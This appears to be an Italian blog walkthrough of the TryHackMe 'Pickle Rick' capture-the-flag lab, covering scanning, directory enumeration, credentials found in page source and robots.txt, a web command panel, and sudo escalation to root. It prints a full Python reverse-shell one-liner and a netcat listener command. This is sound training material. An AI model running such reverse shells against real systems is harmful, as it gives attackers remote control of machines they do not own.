Guida del CTF Pickle Rick

Risoluzione del CTF ispirato alla famosa serie tv.

CTF DI TRYHACKME

2/13/2023

In questo CTF dobbiamo aiutare Pickle Rick a trovare, nel suo computer, i tre ingredienti che gli permetteranno di fare una pozione per tornare alla sua forma umana.
Per prima cosa usiamo Nmap per fare uno scan della macchina e vedere quali porte sono aperte e quali servizi si trovano dietro a queste porte:

Abbiamo due porte aperte: la 22 per SSH e l'80 con un webserver.
Colleghiamoci al webserver tramite un browser e cominciamo a dare un'occhiatina in giro.
Oltre alla richiesta d'aiuto di Pickle Rick non sembra esserci nulla d'interessante, proviamo a dare un'occhiata al codice della pagina web:

Bingo! Abbiamo il nome utente di Rick!
Ho tentato un attacco di brute-force con Hydra, che però non ha funzionato in quanto la macchina bersaglio non supporta l'autenticazione tramite password (per più informazioni consiglio https://superuser.com/questions/894608/ssh-o-preferredauthentications-whats-the-difference-between-password-and-k/894625).

Tentiamo un'altra strada.
Tramite Wappalyzer (estensione per Firefox che permette di capire quali tecnologie vengono utilizzate per costruire un sito web) scopriamo che il linguaggio di programmazione usato è PHP, quindi potremmo fare una ricerca delle pagine che finiscono per ".php".
A questo scopo eseguiamo uno scan con GoBuster per trovare sia le cartelle sul sito, sia le pagine nascoste:

Dove:

  • dir: attiva la modalità per l'enumerazione (la scoperta) di cartelle e file

  • --url: Serve per specificare l'IP del bersaglio

  • -w: Serve per dire a GoBuster quale wordlist utilizzare

  • -x: Serve per dire a GoBuster che vogliamo anche cercare tutti i file che hanno ".php" per estensione

Otteniamo diversi risultati interessanti, ma sicuramente quello più interessante di tutti è la pagina "login.php".
Connessi a questa pagina ci troviamo di fronte al portale di login: bene, ma non benissimo perché comunque non abbiamo ancora la password.
Prima di ricorrere alla "forza bruta" continuiamo ad esplorare le cartelle e i file trovati.
Visitiamo prima le pagine con il codice di stato 200, facciamo un salto nel file robots.txt (usato per dire ai motori di ricerca quali pagine possono trovarsi nei risultati di ricerca e quali no) per vedere se troviamo altre pagine.
C'è un'unica voce in questa pagina e non è decisamente ciò che pensavo di vedere:

Mmmh, che sia la password che stavamo cercando?
Proviamo a tornare sul portale di login e proviamo ad inserire il nome utente ottenuto prima e quella che potrebbe essere la password.

Le credenziali erano corrette ed ora ci ritroviamo davanti ad una pagina che ci permette di eseguire dei comandi sulla macchina che hosta il sito.
Tentiamo di leggere i file presenti con "ls" e ci ritroviamo il seguente output:

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

Proviamo a fare un "cat Sup3rS3cretPickl3Ingred.txt", ma otteniamo il seguente risultato:

Sfortunatamente sembra che non tutti i comandi siano utilizzabili da questo pannello.
Tentiamo un'altra strada: proviamo ad avviare una reverse shell tramite PHP.
Prendiamo il codice che ci serve da https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet e, dopo aver avviato un listener (un processo che rimane in attesa di richieste di connessione in entrata sulla porta specificata), vediamo che la shell muore subito.
Tentiamo con un'altra shell, prima però dobbiamo vedere quale linguaggio si trova sulla macchina:

Dove:

  • find: Il comando per cercare qualcosa nel sistema

  • /: Indica che vogliamo cercare in tutto il sistema

  • -name: Serve per indicare che vogliamo cercare per nome

  • python*: Utilizzato per cercare ogni file che inizia con "python"

Vediamo che, oltre a Python 2, abbiamo Python 3 installato.
Prima di lanciare la shell dobbiamo avviare un listener sulla nostra macchina tramite NetCat:


nc -nvlp 7575

Attenzione: possiamo utilizzare qualsiasi porta vogliamo purché non sia già in utilizzo, e le porte sotto alla 1025 hanno bisogno del permesso root, o sudo se il nostro utente si trova nei sudoers.

Ora che sappiamo quale linguaggio sfruttare per la nostra shell, possiamo usare il seguente codice:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Prima di poterlo usare nel pannello di controllo del sito, però, dobbiamo modificarlo leggermente:

  • Aggiungiamo un "3" dopo a "python" per indicare che vogliamo utilizzare, appunto, la versione 3 di Python per la nostra shell

  • Modifichiamo l'indirizzo IP a cui si connetterà la reverse shell con il nostro IP (che possiamo vedere in alto a destra nella pagina del CTF sul sito TryHackMe, oppure possiamo anche trovarlo digitando "ifconfig" nella CLI della nostra macchina Kali (o qualsiasi macchina Linux) sotto l'interfaccia chiamata tun0

  • Inseriamo anche la porta a cui la shell si connetterà: ovviamente deve essere uguale alla porta su cui si trova il listener

Una volta modificato ed eseguito il comando riceviamo la reverse shell ed eseguiamo il cat su Sup3rS3cretPickl3Ingred.txt per leggere il primo ingrediente: mr. meeseek hair.
Intanto che ci siamo, usiamo cat anche sul file clue.txt per ottenere l'indizio che ci porterà al secondo ingrediente.

L'indizio ci suggerisce di cercare nei file di sistema per il prossimo ingrediente.
Proviamo a vedere quali utenti si trovano nel sistema semplicemente andando nella cartella che si trova al percorso "/home/" e digitando il comando "ls".
Vediamo che ci sono due utenti: rick e ubuntu. Andiamo subito nell'utente rick ed elenchiamo i file presenti.
Qui c'è solo un file ed è proprio il secondo ingrediente che stavamo cercando.
Utilizziamo quindi il comando cat per poterne leggere il contenuto:

Povero Jerry.
Ora non ci resta che trovare il terzo ingrediente.
Scommetto che si trova nella cartella "root", ma se proviamo ad entrarvi, siccome non abbiamo i permessi necessari, non possiamo farlo.
Vediamo quali comandi può eseguire il nostro utente tramite il comando "sudo -l".

Il nostro utente può usare tutti i comandi con sudo senza la necessità della password: bene per noi!
Diventiamo l'utente root semplicemente con il comando "sudo su root" (su sta per "switch user").
Ora che abbiamo i permessi giusti possiamo andare nella cartella "root", elencare i file presenti ed eseguire "cat 3rd.txt" per leggere l'ultimo ingrediente.

Et voilà! Abbiamo tutti gli ingredienti per poter fare la pozione che permetterà a Pickle Rick di ritornare umano!
Complimenti, CTF risolto!